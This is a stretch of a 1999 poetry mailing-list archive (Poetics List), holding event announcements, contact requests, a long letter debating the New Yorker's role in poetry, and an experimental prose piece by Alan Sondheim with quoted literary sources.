Does anybody on thist list know how I might contact the poet Joshua McKinney, on e-mail if possible or otherwise? He used to be at Valdosta State University in Georgia, now has relocated somewhere in Northern California. Any information (you can backchannel) would be greatly appreciated.

Mark Wallace

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297. **David Kirschenbaum**
Winter solstice assemblage zine available
Wed 29 Dec 1999

Winter solstice gathering assemblage zine

19 pages + front cover painting by Madeleine Hope Arthurs and back cover collage by Wendy Kramer on ultra-bright pink cardstock. Three-hole punched and bound with twine.
$6ppd for individuals, $9ppd for institutions.
Only 45 copies made (35 available).

Limited edition, signed and numbered by the contributors.
$12ppd for individuals, $18ppd for institutions.
Only 20 copies made (8 available).

Zine compiled at winter solstice gathering on December 18, 1999. Contributors include Sue Landers and Jeni Olin, among others. Featuring anti-Giuliani flyer, music, poetry, and 65 different versions of Kimberly Wilder's submission.

Checks payable to:
Boog Literature
351 W.24th Street, Apt. 19E
New York, NY 10011-1510
email: [redacted] • tel: [redacted]

Boog Literature chapbooks are edited and published by David A. Kirschenbaum. Send SASE, or email, for catalog.

Have a Happy New Year,
David

Visit Excite Shopping at http://shopping.excite.com
The fastest way to find your Holiday gift this season

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298. Nada Gordon
m. gottlieb e-mail???
Wed 29 Dec 1999

---

happy winter festival all --

this is to just to ask if anyone has an e-mail address for michael gottlieb.

if so 'twould be gratefully received backchannel at:

[redacted].

thanks,

nada

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299. Poetry Project
New Year's Day Marathon Reading
Wed 29 Dec 1999

This Saturday

January 1, 2000

starting at 2 pm and continuing until past midnight

is the Poetry Project's Annual New Year's Day Marathon Reading

with over 120 poets, performers, musicians, artists & downtown personalities

including

Patti Smith, Lenny Kaye, Jim Carroll, Cecil Taylor, Dael Orlandersmith, Mark Ribot, Richard Foreman, Penny Arcade, Maggie Estep, Douglas Dunn, John Giorno, Christopher Stackhouse, Jackson Mac Low, Emily XYZ, Dana Bryant, Edwin Torres, John Yau, Tuli Kupferberg, Taylor Mead, Gillian McCain, Pedro Pietri, Reno, Alice B. Talkless, Chi Chi Valenti, Nick Zedd, and many, many more!

Admission is $15; $12 for students, seniors, members

No advance tickets. Admission at door only.

Volunteers get in free. We always need more volunteers. Call [redacted] to sign up.

Call [redacted] if you need more information anyway.

Refreshments will be available: cakes, cookies, coffee, soda, beer & our traditional New Year's Day chili.

The Poetry Project is located in St. Mark's Church at the corner of 2nd Ave. & 10th St. in Manhattan (nowhere near Times Square).

The Poetry Project is wheelchair accessible with assistance and advance notice. Call [redacted].

Poetry, comradeship, carpeting, good cheer, peace, love & understanding in the New Year/Century/Millennium.

Hope to see you there.

***

If you'd like to be removed from this e-mail list, please respond to this message with "remove me" and we will be sure to do so.

***

↑ Index

300. Bob Grumman
Anyone Know This Poem?
Wed 29 Dec 1999

Someone e.mailed my poetry website with the message below. Can anyone help him?

December 29, 1999

I realize that this may not be the right forum to submit my request. If so, I apologize maybe someone could direct me, and/or my inquiry elsewhere.

I am trying to find a poem that I studied in elementary school, about 30 years ago. I do not have the name of the poem, or the author, or even the first or last line. I recall that the poem was about school and it was an analogy to life. I cannot recall the exact wording of the poem but it ends something like this: "When all my lessons have been learned, I shall put away my books and go home. I will say ‘Mother, I have come home from school.’"

Any suggestions as to the author, or title, so that I can track down this poem, would be greatly appreciated.

Thank you,
Tony Sebastian
[redacted]

↑ Index

301. Jill Stengel
san francisco poetry events, january 9
Wed 29 Dec 1999

---

happy new year everyone!

* * * * * * * * * *

Sunday, January 9, 2000:
A Big Day for Poetry in North Beach
Donâ€™t choose between eventsâ€”Come to both!

* * * * * * * * * *

synapse: Second Sundays at BlueBar

Peter Neufeld and Brian Strang

2:00 p.m.
$2 admission

BlueBar is located at 501 Broadway at Kearney, in San Francisco; enter through Black Cat Restaurantâ€™s main entrance

San Francisco poet Peter Neufeld is relocating to New York City later this month, so come on by to bid him adieu. Neufeld is a co-founder of meldoeon poetry systemsâ€”a small press focusing on emerging, experimental writersâ€”which he co-edits with Eric Frost. With E. Tracy Grinnel, Neufeld is currently editing the first issue of Aufgabe. Neufeld has recent work appearing or forthcoming in Chain, Lipstick 11, and Mungo vs. Ranger; and his chapbook is The Glass Owl (a+bend press, 2000).

Brian Strang has work published or forthcoming in journals including Angle, Itsynccast, Kenning, Lipstick 11, lyric&, Rhizome, Tool, and Tripwire. His first chapbook is Movement of Avenues in Rows (a+bend press, 2000); and his second, A Draft of L Cavatinas (Letters to Ez), is due to appear in Spring 2000 from Potes and Poets. Strang lives in San Francisco and teaches English composition at San Francisco State University.

* * * * * * * * * *

Canessa Park Reading Series

Patrick Durgin and Summi Kaipa

5:00 p.m.
$5 admission

Canessa Park Gallery is located at 708 Montgomery St. at Columbus and Washington

Patrick Durgin is the editor of the periodical Kenning and the author of two chapbooks: and so on (Texture Press, 1999), and Pundits, Scribes, Pupils (Potes and Poets, 1998). Recent work can be found in Crayon, Combo, Lipstick 11, and Tripwire. This is his first reading in San Francisco, and we donâ€™t know when heâ€™ll be back, so catch him while you can.

Summi Kaipa currently resides in San Francisco, where she edits Interlope, a journal of Asian-American writing. She received the Holmes Award in 1999 for poetry appearing in Fourteen Hills; and additional recent poetry and criticism appear in Kenning, Rhizome, and Tinfish. Kaipaâ€™s chapbook, The Epics, is forthcoming from Leroy Press.

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302. Poetics List

writers workshops & Poetry / Fouhy

Wed 29 Dec 1999

This message came to the administrative account. Chris

---------- Forwarded message ----------
Date: Wed, 29 Dec 1999 21:38:26 -0500
From: George Fouhy <[redacted]>

Click to find out about NWCA writers workshops and poetry series for January 2000. Happy New Year!!
http://www.bestweb.net/~cindyf/poetry_2000.htm

↑ Index

303. **Brian Stefans**
Lucious Jackson
Mon 1 Jan 1990

This is a multi-part message in MIME format.

charset="iso-8859-1"

Hi Rebecca,

Thanks for your comments. You are right in what you say, in general: = that our parents, uncles, priests, rabbis, books store clerks, computer = literate younger sisters, golfer grandfathers, etc. (though perhaps not = our taxi drivers, Armenian uncles, arctic explorer friends, Falun Gong = enthusiasts, Romanian gymnists, hard-boiled prog rockers, jocks, = suburbanite high school coke-addicts, Bush supporters, etc.) are going = to get their poetry from the New Yorker. And if you want to talk to = those folks about poetry, the New Yorker poems are probably a good place = to start -- at least in terms of cultural values (which are consistently = expressed there), recent literary tradition, even general aesthetic = qualities (and the weather in the Hamptons). Why not? My issues are = really much simpler:

1. that Prynne is a terribly complex poet, and much of this complexity = is centered around his successful (i.e. not nihilistic or reactionary) = resistance to assimilation into "bourgeois" (I scare quote it since it's = an antique term, in my view) culture. (A good introduction to Prynne, = I've recently discovered, is the first volume of Adorno's Notes to = Poetry, especially the essay on "Valery's Deviations" and "Lyric Poetry = and Society" -- not to be didactic, here, but I've never been able to = write or talk about him very well, and that helped.) The New Yorker, I = feel, would fail to pay any attention to these qualities. (I have mixed = feelings about the Ashbery/Prynne connection -- I think Ashbery fits in = quite well with the New Yorker, through his natural charm and calmness, = though he is more mischievous than he lets on when in there.)

2. that unlike popular music culture, which is driven by money and, in a = sense, the enthusiasm of "youth", but also by the generally asocial, = anarchic, quasi-romantic fuck-it-all sub-life that many people, from = nine-to-five stock brokers or Romanian gymnists, have, the New Yorker is = not going to roll over, switch gears (and class loyalties) because of = some sudden grass-roots interest in Prynne (or radical leftist poetry in = general). As Bernstein quite accurately wrote, mainstream poetry lacks = the "edge" that popular culture has -- it's a phenomenon that's worth = observing closely -- but paying lip-service to the "edge" that = non-mainstream poetry really only destroys that edge, since unlike in = music, you have to work a little bit to find it. Perhaps it's = unfortunate that there aren't as many "charismatic" figures in the = poetry world as,

purportedly, there once was -- thinking here perhaps of = Eliot, Stein and Ginsberg -- but this creation of artificial = interactions is unlikely to create it. Did MTV's attention to the = Nuyorican poets create any real interest in the "underground" scene? I = don't think so (can't really say) -- most of what I've read or heard = about this, i.e. the opinions expressed on the subject (even Brian Eno = writes about it in his 1995 Diaries) seems to suggest that the blurring = of commerical and "counter-cultural" (another antique term) interests, = only destroyed whatever efficacy the poetry had aesthetically and as = cultural critique (or even as expressions of nihilism, romantic longing, = etc. whatever rock music is supposed to do). (Eno, consequently, would = probably be interested in Language poetry, but I don't think the MTV = thing made him think poetry in American was worth thinking about.)

My sense, based on what you write below, is that you are very interested = in a wide variety of poetries, but are also interested in "spreading the = word," so to speak, about it -- that's a fine idea. I have a few = questions:
> On the other hand-and this is the not-so-big idea behind Fence, which = I edit, and which does attempt the kind of "aesthetic merging" that is = by necessity and intention superficial, in that it only entails = juxtaposing poems on paper inside a product-I also want poems that I = like to have a wide audience.

Is there no way to not make this "superficial"? While there is a lot of = stuff going on in the States (and your magazine, I think, focuses = primarily on English-language "literary" [i.e. page-based] stateside = poetry), it doesn't seem to me that there's SO much that one need only = deal with different types of poetry superficially. For instance, you = had a piece of prose and some poems by Molly Peacock, who is a "new = formalist" (she's pretty good, as far as that kind of poetry goes -- as = are Amy Clampitt and Anthony Hecht, in that category [though not part of = the group, of course], though in general I think this movement pretty = awful, especially the criticism) -- why not get something from her = that's completely, radically "new formalist", i.e. as extreme in that = direction as possible? And, likewise, go extreme "language," extreme = frenchy lyric, extreme gay narrative poetics, pidgin poetics, = documentary poetics, projective this and concrete that? If you are = going into it thinking it's going to be superficial, then you really = only circumscribe the idea of a lukewarm center -- any "edge" that you = may have courted will be lost there, and by extension any interest (I = feel). It's like all those novels written by mildly telented authors = who were trying to bank on the Pynchon craze many years ago -- you will = never turn anyone on to literature by showing them "Come Sunday." But = of course you are the editor, so you know more about how people have = read

your magazine than me, and I don't doubt that Fence has introduced = a number of new people to non-mainstream poetry.

>I don't have figures, but I do have the backlogged memory of dozens of = frustrating exchanges with general readers trying to engage by bringing = up the New Yorker in conversation when they hear that I write poetry.

Do these people like the poetry in the New Yorker? If they did, then = why didn't they take their interest a little further by investigating = the books, and maybe other outlets, or somehow connect it to their = interest in words that they acquired (I'm guessing) in listening to = songs and watching movies? Everybody has uttered, at least once in = their life: "terrible screenplay." I know what you mean here, of = course. My dad -- who is a big Bob Dylan fan, especially back in the = day, and is a writer -- doesn't seem to connect with the words in any of = the poems he reads there, or in the Nation or wherever else he comes = across poetry (I know he spots them, because he always brought up some = new Ashbery thing back when I was at Bard). So basically what I mean = is: isn't it clear that the New Yorker, along with its context, is a = deadening force on poetry -- that it just doesn't get anyone very = excited about anything? Maybe that's why those conversations are so = frustrating -- because of the false sense of knowledge that poetry in = the New Yorker creates.

> *I am interested in the general reader.*

Aren't there other kinds of "general readers"? New audiences? If you = are interested in the poetry and the value-systems inherent them, isn't = it better to try to get this poetry read by people who may share some of = the values (but who don't read poetry) then try to convert those, = "hampered, handcuffed" as you are, who are knee-deep in their own rather = satisfied (and why not?) existences?

> I find the other model to be gratuitously alienating, when I have = already gone through the alienation thing.

Well!

(Sorry I'm writing so much... day off, Christmas vacation). Last notes:

> *Alice Quinn (poetry ed. of New Yorker) has a subscription to Fence.*

Has she written anything to you about it?=20

> I'm really undecided and occasionally bemused over the question of = whether anything that is performed through the medium of poetry can have = the effect of picking someone up and setting them down outside the = dominant culture.

I didn't write that that would be the case, myself -- you must be = thinking of someone else. The greater question, "ontological" if you = well, is whether

poetry can ever enlighten one about her own spiritual, = social and material conditions -- i.e. can it open one's eyes, get past = the illusions, make one want to live a little differently or live in = general, etc. One can be set quite easily "outside the dominant = culture" -- every time you refuse to eat processed cheese you are = outside the dominant culture (though if you just choose one processed = cheese over another you are probably still in it -- sadly), which is to = say that it's not a black and white thing, it's just that a series of = decisions, ethically or out of a matter of survival, will probably put = you head up against the "dominant culture", and once in that position, = it might be nice to find that there are people making art especially for = you (and not for "them") -- i.e. that you have been recognized in your = doubts and frustrations by a "pure" entity, whether it be poem or poet. = The "dominant culture" as an abstraction is not very useful, of course, = but we all feel it somehow, and art seems to me a good way to organize = these feelings (not to mention a way to break through the prevalent = self-concern that seems to be modus operandi that capitalism strives = on.) This is all very vague; I'm just trying to stress that this poetry = which you feel is only read by those who "live, work, etc." in the = experimental poetry community does actually have value for others = outside of it, even if -- and I mean this -- it's in serious trouble = right now in how to convey these values, or to make to make them = enjoyable, aesthetically pleasing, necessary, etc. (Luscious Jackson = notwithstanding.)

Anyway, I hope you think I'm not just being "schmegeggy" or whatever you = wrote about this whole thing -- I just think it's a problem that's of = some interest to a lot of people. Many writers do make life decisions = based on how they are to crystallize their own thoughts on their poetry, = on how they can live to write the poetry they want to write, etc., and = yes these can lead one into holes, low readership, feelings of = alienation and asocialability, etc. which feeds back into the poetry, = though hopefully in a way that reveals something about one's own, and = the general, situation. Everybody wants to be paid for their work, and = to be read by an appreciative audience. But it's probably not a good = feeling to be respected for something you didn't actually do, alas, and = when what you did do becomes lost in the shuffle (your heresies against = Guiliani, for instance, reappearing in some terrible Jay Leno monologue = -- even Eno, who shares three of the same letters of his last name [and = five of the first five of my first], hates Leno). So it becomes rather = frightening when you see "experimental" being coopted as some sort of = cultural mass that can be affixed, superfically, to some larger cultural = mass that, in the end, will not recognize it's values, or fail in any = way to be illuminated by it -- then all the work seems lost. Whether = it's true that the work is, in fact, lost, who knows -- poetry sometimes = takes a long time to make sense.

Well, getting late. Cheers,

Brian

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<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Rebecca,</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for your comments. You
are =
right in=20
what you say, in general: that our parents, uncles, priests, rabbis, =
books store=20
clerks, computer literate younger sisters, golfer grandfathers, etc. =
(though=20
perhaps not our taxi drivers, Armenian uncles, arctic explorer friends, =
Falun=20
Gong enthusiasts, Romanian gymnists, hard-boiled prog rockers, jocks,=20
suburbanite high school coke-addicts, Bush supporters, etc.) are going =
to get=20
their poetry from the New Yorker. And if you want to talk to those =
folks=20
about poetry, the New Yorker poems are probably a good place to start -- =
at=20
least in terms of cultural values (which are consistently expressed =
there),=20
recent literary tradition, even general aesthetic qualities (and the =
weather in=20
the Hamptons). Why not? My issues are really much=20
simpler:</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>1. that Prynne is a terribly complex =
poet, and much=20
of this complexity is centered around his successful (i.e. not =
nihilistic or=20
reactionary) resistance to assimilation into "bourgeois" (I scare quote =
it since=20

it's an antique term, in my view) culture. (A good introduction to = Prynne,=20
I've recently discovered, is the first volume of Adorno's Notes to = Poetry,=20
especially the essay on "Valery's Deviations" and "Lyric Poetry and = Society" --=20
not to be didactic, here, but I've never been able to write or talk = about him=20
very well, and that helped.) The New Yorker, I feel, would fail to = pay any=20
attention to these qualities. (I have mixed feelings about the=20
Ashbery/Prynne connection -- I think Ashbery fits in quite well with the = New=20
Yorker, through his natural charm and calmness, though he is more = mischievous=20
than he lets on when in there.)</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>2. that unlike popular music = culture, which is=20
driven by money and, in a sense, the enthusiasm of "youth", but also by = the=20
generally asocial, anarchic, quasi-romantic fuck-it-all sub-life that = many=20
people, from nine-to-five stock brokers or Romanian gymnists, have, the = New=20
Yorker is not going to roll over, switch gears (and class loyalties) = because of=20
some sudden grass-roots interest in Prynne (or radical leftist poetry in =

general). As Bernstein quite accurately wrote, mainstream poetry = lacks the=20
"edge" that popular culture has -- it's a phenomenon that's worth = observing=20
closely -- but paying lip-service to the "edge" that non-mainstream = poetry=20
really only destroys that edge, since unlike in music, you have to work = a little=20
bit to find it. Perhaps it's unfortunate that there aren't as=20
many "charismatic" figures in the poetry world as, purportedly, = there once=20
was -- thinking here perhaps of Eliot, Stein and Ginsberg -- but this = creation=20

of artificial interactions is unlikely to create it. Did MTV's =
attention=20
to the Nuyorican poets create any real interest in the "underground"=20
scene? I don't think so (can't really say) -- most of what I've =
read or=20
heard about this, i.e. the opinions expressed on the subject (even Brian =
Eno=20
writes about it in his 1995 Diaries) seems to suggest that the blurring =
of=20
commerical and "counter-cultural" (another antique term) interests, only =
destroyed whatever efficacy the poetry had aesthetically and as cultural =
critique (or even as expressions of nihilism, romantic longing, etc. =
whatever=20
rock music is supposed to do). (Eno, consequently, would probably =
be=20
interested in Language poetry, but I don't think the MTV thing made him =
think=20
poetry in American was worth thinking about.)</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>My sense, based on what you write =
below, is that=20
you are very interested in a wide variety of poetries, but are also =
interested=20
in "spreading the word," so to speak, about it -- that's a fine =
idea. I=20
have a few questions:</FONT></DIV><FONT face=3DArial size=3D2>
<P>> On the other hand-and this is the not-so-big idea behind Fence, =
which I=20
edit, and which does attempt the kind of "aesthetic merging" that is by=20
necessity and intention superficial, in that it only entails juxtaposing =
poems=20
on paper inside a product-I also want poems that I like to have a wide=20
audience.</P>
<P>Is there no way to not make this "superficial"? While there is =
a lot of=20
stuff going on in the States (and your magazine, I think, focuses =
primarily on=20
English-language "literary" [i.e. page-based] stateside poetry), it =
doesn't seem=20
to me that there's SO much that one need only deal with different types =
of=20

poetry superficially. For instance, you had a piece of prose and = some=20
poems by Molly Peacock, who is a "new formalist" (she's pretty good, as = far as=20
that kind of poetry goes -- as are Amy Clampitt and Anthony Hecht, in = that=20
category [though not part of the group, of course], though in general I = think=20
this movement pretty awful, especially the criticism) -- why not get = something=20
from her that's completely, radically "new formalist", i.e. as extreme = in that=20
direction as possible? And, likewise, go extreme "language," = extreme=20
frenchy lyric, extreme gay narrative poetics, pidgin poetics, = documentary=20
poetics, projective this and concrete that? If you are going into = it=20
thinking it's going to be superficial, then you really only circumscribe = the=20
idea of a lukewarm center -- any "edge" that you may have courted will = be lost=20
there, and by extension any interest (I feel). It's like all those = novels=20
written by mildly telented authors who were trying to bank on the = Pynchon craze=20
many years ago -- you will never turn anyone on to literature by showing = them=20
"Come Sunday." But of course you are the editor, so you know more = about=20
how people have read your magazine than me, and I don't doubt that Fence = has=20
introduced a number of new people to non-mainstream poetry.</P>
<P>>I don't have figures, but I do have the backlogged memory of = dozens of=20
frustrating exchanges with general readers trying to engage by bringing = up the=20
New Yorker in conversation when they hear that I write poetry.</P>
<P>Do these people like the poetry in the New Yorker? If=20
they did, then why didn't they take their interest a little further = by=20
investigating the books, and maybe other outlets, or somehow connect it =

to their=20
interest in words that they acquired (I'm guessing) in listening to =
songs and=20
watching movies? Everybody has uttered, at least once in their =
life:=20
"terrible screenplay." I know what you mean here, of course. =
My=20
dad -- who is a big Bob Dylan fan, especially back in the day, and =
is a=20
writer -- doesn't seem to connect with the words in any of the poems he =
reads=20
there, or in the Nation or wherever else he comes across poetry (I know =
he spots=20
them, because he always brought up some new Ashbery thing back =
when I was=20
at Bard). So basically what I mean is: isn't it clear =
that the=20
New Yorker, along with its context, is a deadening force on poetry --=20
that it just doesn't get anyone very excited about anything? =
Maybe=20
that's why those conversations are so frustrating -- because of the =
false sense=20
of knowledge that poetry in the New Yorker creates.</P>
<P>> I am interested in the general reader.</P>
<P>Aren't there other kinds of "general readers"? New=20
audiences? If you are interested in the poetry and the =
value-systems=20
inherent them, isn't it better to try to get this poetry read by people =
who may=20
share some of the values (but who don't read poetry) then try to convert =
those,=20
"hampered, handcuffed" as you are, who are knee-deep in their own rather =
satisfied (and why not?) existences?</P>
<P>> I find the other model to be gratuitously alienating, when I =
have=20
already gone through the alienation thing.</P>
<P>Well!</P>
<P>(Sorry I'm writing so much... day off, Christmas vacation). =
Last=20
notes:

> Alice Quinn (poetry ed. of New Yorker) has a =
subscription to=20

Fence.</P>
<P>Has she written anything to you about it? </P>
<P>> I'm really undecided and occasionally bemused over the question =
of=20
whether anything that is performed through the medium of poetry can have =
the=20
effect of picking someone up and setting them down outside the dominant=20
culture.</P>
<P>I didn't write that that would be the case, myself -- you must be =
thinking of=20
someone else. The greater question, "ontological" if you well, is =
whether=20
poetry can ever enlighten one about her own spiritual, social =
and material=20
conditions -- i.e. can it open one's eyes, get past the illusions, make =
one want=20
to live a little differently or live in general, etc. One can be =
set quite=20
easily "outside the dominant culture" -- every time you refuse to eat =
processed=20
cheese you are outside the dominant culture (though if you just choose =
one=20
processed cheese over another you are probably still in it -- sadly), =
which is=20
to say that it's not a black and white thing, it's just that a series of =
decisions, ethically or out of a matter of survival, will probably put =
you head=20
up against the "dominant culture", and once in that position, it might =
be nice=20
to find that there are people making art especially for you (and not for =
"them")=20
-- i.e. that you have been recognized in your doubts and frustrations by =
a=20
"pure" entity, whether it be poem or poet. The "dominant culture" =
as an=20
abstraction is not very useful, of course, but we all feel it somehow, =
and art=20
seems to me a good way to organize these feelings (not to mention a way =
to break=20
through the prevalent self-concern that seems to be modus operandi that=20
capitalism strives on.) This is all very vague; I'm just trying to =

stress=20
that this poetry which you feel is only read by those who "live, work, =
etc." in=20
the experimental poetry community does actually have value for others =
outside of=20
it, even if -- and I mean this -- it's in serious trouble right now in =
how to=20
convey these values, or to make to make them enjoyable, aesthetically =
pleasing,=20
necessary, etc. (Luscious Jackson notwithstanding.)</P>
<P>Anyway, I hope you think I'm not just being "schmegeggy" or whatever =
you=20
wrote about this whole thing -- I just think it's a problem that's of =
some=20
interest to a lot of people. Many writers do make life decisions =
based on=20
how they are to crystallize their own thoughts on their poetry, on how =
they can=20
live to write the poetry they want to write, etc., and yes these can =
lead one=20
into holes, low readership, feelings of alienation and asocialability, =
etc.=20
which feeds back into the poetry, though hopefully in a way that reveals =
something about one's own, and the general, situation. Everybody =
wants to=20
be paid for their work, and to be read by an appreciative =
audience. But=20
it's probably not a good feeling to be respected for something you =
didn't=20
actually do, alas, and when what you did do becomes lost in the =
shuffle=20
(your heresies against Guiliani, for instance, reappearing in some =
terrible Jay=20
Leno monologue -- even Eno, who shares three of the same letters of his =
last=20
name [and five of the first five of my first], hates Leno). So it =
becomes=20
rather frightening when you see "experimental" being coopted as some =
sort of=20
cultural mass that can be affixed, superfically, to some larger cultural =
mass=20

that, in the end, will not recognize it's values, or fail in any way to =
be=20
illuminated by it -- then all the work seems lost. Whether it's =
true that=20
the work is, in fact, lost, who knows -- poetry sometimes takes a long =
time to=20
make sense.</P>
<P>Well, getting late. Cheers,</P>
<P>Brian</P>
<P> </P>
<P> </P>
<P> </P>
<P>
 </P>
<P> </P></FONT></BODY></HTML>

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304. Poetics List

list delays etc.

Wed 29 Dec 1999

Apologies for the in some cases significant
delays in forwarding list messages that have
occurred over the last week - due to email
problems that have been somewhat complicated
by my having to access the list account
remotely (the university being closed for
winter recess). In a related vein, I know
that some of you have been trying to reach
me backchannel, and I can only say that I
will be available as soon as this small
mess is taken care of.

Chris

% Christopher W. Alexander
% poetics list moderator

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305. Alan Sondheim

A Note on Time Zero and Sources for Nikuko and the Doctor

Wed 29 Dec 1999

=

A Note on Time Zero and Sources for Nikuko and the Doctor

It is increasingly difficult to write about, from this distance and exter- iority, Doctor Leopold Konninger, and Nikuko. They inhabit this and other virtual worlds; they are also in stasis, a constant jarring of pirouette, observance, sexuality, obsession. Even this text is forced into repetition as a result - for example "Nikuko has all the time in the world" and what that implies. For the reader, the texts, which necessarily abjure narra- tive (for what could possibly happen when nothing can or does?), appear stagnant - the reality is that each is a memorial or reminder of constancy on the part of "the famous Russian ballet dancer and her Doctor."

I am placed inside (and hence stagnant/frozen) and outside (hence writing, active) simultaneously - a paradoxical situation, since the writing pro- ceeds, as it must, through diegesis, temporal unfolding - against the wall of the Doctor and Nikuko. Yet, if I choose not to write, to remain silent (as witnesses may remain silent), I am, for-myself, inauthentic in my re- sponse - which is to _keep the Doctor and Nikuko before the public,_ to allow the public to view, however mediated, the constancy that is the two of them locked, as if in fatal sexual embrace.

Thus "at the risk of boring the reader," always a reminder, which is by necessity a remainder, of Nikuko, more or less naked, more or less in her pink tutu, more or less shaved, turning before Doctor Leopold Konninger, more or less naked, more or less in his suit, top-hat and monocle (cane by his side), more or less erect and spent, _as if by virtue of a hair._ And that this image, from the imaginary imagination, equally spends itself within you, the voyeur to their exhibitionism, reader to my writing (and _that_ is where the dissymmetry emerges) - delineated by dreamwork, by ei- detic imagery, by hypnagogic imagery, by imagery at the service of every- day life.

Who is open to whom? For whom the pirouettes? Who, at long last, becomes obsessive ballerina, and who watches himself or herself in what mirrors, what _photography?_

Sources for Nikuko and Doctor Leopold Konninger

1. Chaucer, Merciles Beaute, I:

Your yen two wol slee me sodenly;
I may the beautee of hem not sustene,
So woundeth hit thourghout my herte kene.

And but your word wol helen hastily
My hertes wounde, while that hit is grene,

Your yen two wol slee me sodenly;
I may the beautee of hem not sustene.

Upon my trouthe I sey you feithfully
That ye ben of my lyf and deeth the quene;
For with my deeth the trouthe shal be sene.
Your yen two wol slee me sodenly;
I may the beautee of hem not sustene,
So woundeth it thourghout my herte kene.

2. Sue Williams, Lacanian Ink 7, paragraphs 5-7

Now she's beaten, sad and in pain... but she'll move on, will get out of it, fi- nally. Domineering? She'll give it a try--wear leather, high thin heeled shoes, a whip, also may excel at verbal abuse.

Now it's men: they come in by the hour, are very peculiar, want disgust- ing things. They masturbate, scream--Mom, mom--while she urinates on them; or they bring their own tutus to wear, their own ballet petticoats: "Aun- tie Lady I've been bad, I need to be raped with a dildo..."

Now she has power over the beasts.

3. Immanuel Kant, Universal History, first and second thesis:

All of a creature's natural capacities are destined to develop completely and in conformity with their end. [...]

In man (as the sole rational creature on earth), those natural capacities di- rected toward the use of his reason are to be completely developed only in the species, not in the individual.

4. J.N. Adams, The Latin Sexual Vocabulary, page 126:

Irrumo in etymology reflects the popular obsession among Latin speak- ers with a similarity felt between feeding and certain sexual practices. It is a de- nominative of _ruma / rumis,_ 'teat,' and would originally have meant 'put in the teat.' [...] _Irrumo_ and _fello_ describe the same type of sexual act, but from different points of view: _irrumo_ from the view- point of the active violator (= _mentulam in os inserere_), _fello_ from that of the passive participant.

5. Hippocrates, Decorum, V., first part:

Wherefore resume each of the points mentioned, and transplant wisdom into medicine and medicine into wisdom. For a physician who is a lover of wis- dom is the equal of a god. Between wisdom and medicin there is no gulf fixed; in fact medicine possesses all the qualities that make for wisdom. It has disinterested- ness, shamefastness, modesty, reserve, sound opinion, judgment, quiet, pugnac- ity, purity, sententious speech, knowledge of the things good and necessary for

life, selling of that which cleanses, free- dom from superstition, pre-excellence divine.

6. Ron Ewart, Fuchsia Lexicon, Revised Second Edition, page 86:

'Dancing Flame' - STUBBS 1982 - AFS Registration No 1621 - Double

Tube short and thick, pale orange to flesh with darker stripes. _Sepals_ pale orange on top, slightly deeper orange on the undersides, medium length, slender and recurving slightly. _Corolla_ orange carmine, deeper shade in the centre and lighter orange on the outer petals, slightly flar- ing. _Foliage_ medium green, largish leaves with serrated edges. _Growth_ trailer, basket variety. Can be grown as a bush with early support. Vigor- our and free-flowering. _Parentage_ 'Novella' x 'Applause.'

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306. **Michael Neff**

Re: Merging and Rambling

Thu 30 Dec 1999

>

If you merged Sondheim with lobotomy you'd have an act of "sondomy"

> -
>
> *Merging and Rambling*
>
> *If IBM merged with the Post Office, you'd have International Business Machine Office. If Red Hat merged with Microsoft, you'd have Red Soft. If Linux merged with Unix, you'd have Lunix. If Macy's merged with Stern's, you'd have Merny's. If CBS radio merged with CBS television you'd have CBS relevision. If the American Broadcasting System merged with Pinchik's Hardware, you'd have Pamerican Hoadcasting System. If Alan merged with Azure you'd have Alure. If Nettime merged with Cybermind you'd have Netmind. If the Internet merged with the London Times, you'd have Lonernet Times. If Tibet merged with Belgium , you'd have Tigium. If a President Clinton merged with a Margaret Thatcher, you'd have Margaret Clinton. If NATO merged with the Red Brigades, you'd have Ned Brigades. If Dean Street merged with O'Reilly Publishing, you'd have Deano Reilly Publishing. If a password merged with login, you'd have pogin. If the first word merged with the last word, you'd have the fast word. If Wall Street merged with Leopoldstrasse, you'd have Wallopoldstrasse. If Venus merged with Mars, you'd have Vars. If the Universe merged with Nothing you'd have Unnothing, but if the Void merged with the Abyss, you'd have the Voiss. If Chrysler merged with the Y2k problem, you'd have the Chrytookay problem. If Kyoko Date merged with Madonna, you'd have Kyodonna. If a sentence merged with a paragraph, you'd have a sentagraph. If Bladerunner merged with Little*

> *Women, you'd have Blattle Women. If God merged with Sondheim, you'd have Gondheim, but if Old Navy merged with Banana Republic, you'd have Old Banana Republic and if Pathmart merged with Wimpy's, you'd have Pampy's, but if Ford merged with women, you'd have Fomen, and if Hibiscus merged with Tulips you'd have Hibips.*
>
> *There were some people over there who had a dance. Some other people came up. They were from the Turtle People. Two of them carried a shining thing they saw in the water. Some women tried to shoot at it. One of them caught it in her net. She brought it back. Some men at the dance tried to take it. A bird landed on the net and it disappeared. The woman said, from now on you will have this disease. She took the shining thing and put it in the sky.*

--

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Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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307. **Robert Corbett**
Re: Poetry Daily, British irony
Thu 30 Dec 1999

On Wed, 22 Dec 1999, Rachel Loden wrote:

> *There's discussion of the supposed lack of irony in colonial outposts (as perceived by our man in Manila or Bangkok). So is irony a post-imperial luxury, part of the "management of decline"?*

isn't irony in the eye of the beholder? and isn't irony only successful if there is someone (to my way of thinking, the powers of authority, in whatever guise they may take) doesn't get it? i have a feeling that our man in Bangkok didn't get it, not that there is no irony in the tropics. it is always strange to me that how much irony gets tagged as a sign of the decadent west (not that i don't mind a little decadence). and this is true of the left and the right (jeremiah purdy can stand for both types of reaction: 1) as a sign of our moral decline (target of choice: _The Simpsons_); 2) as a sign of our political fecklessness (target of choice: Circus Clintonis)).

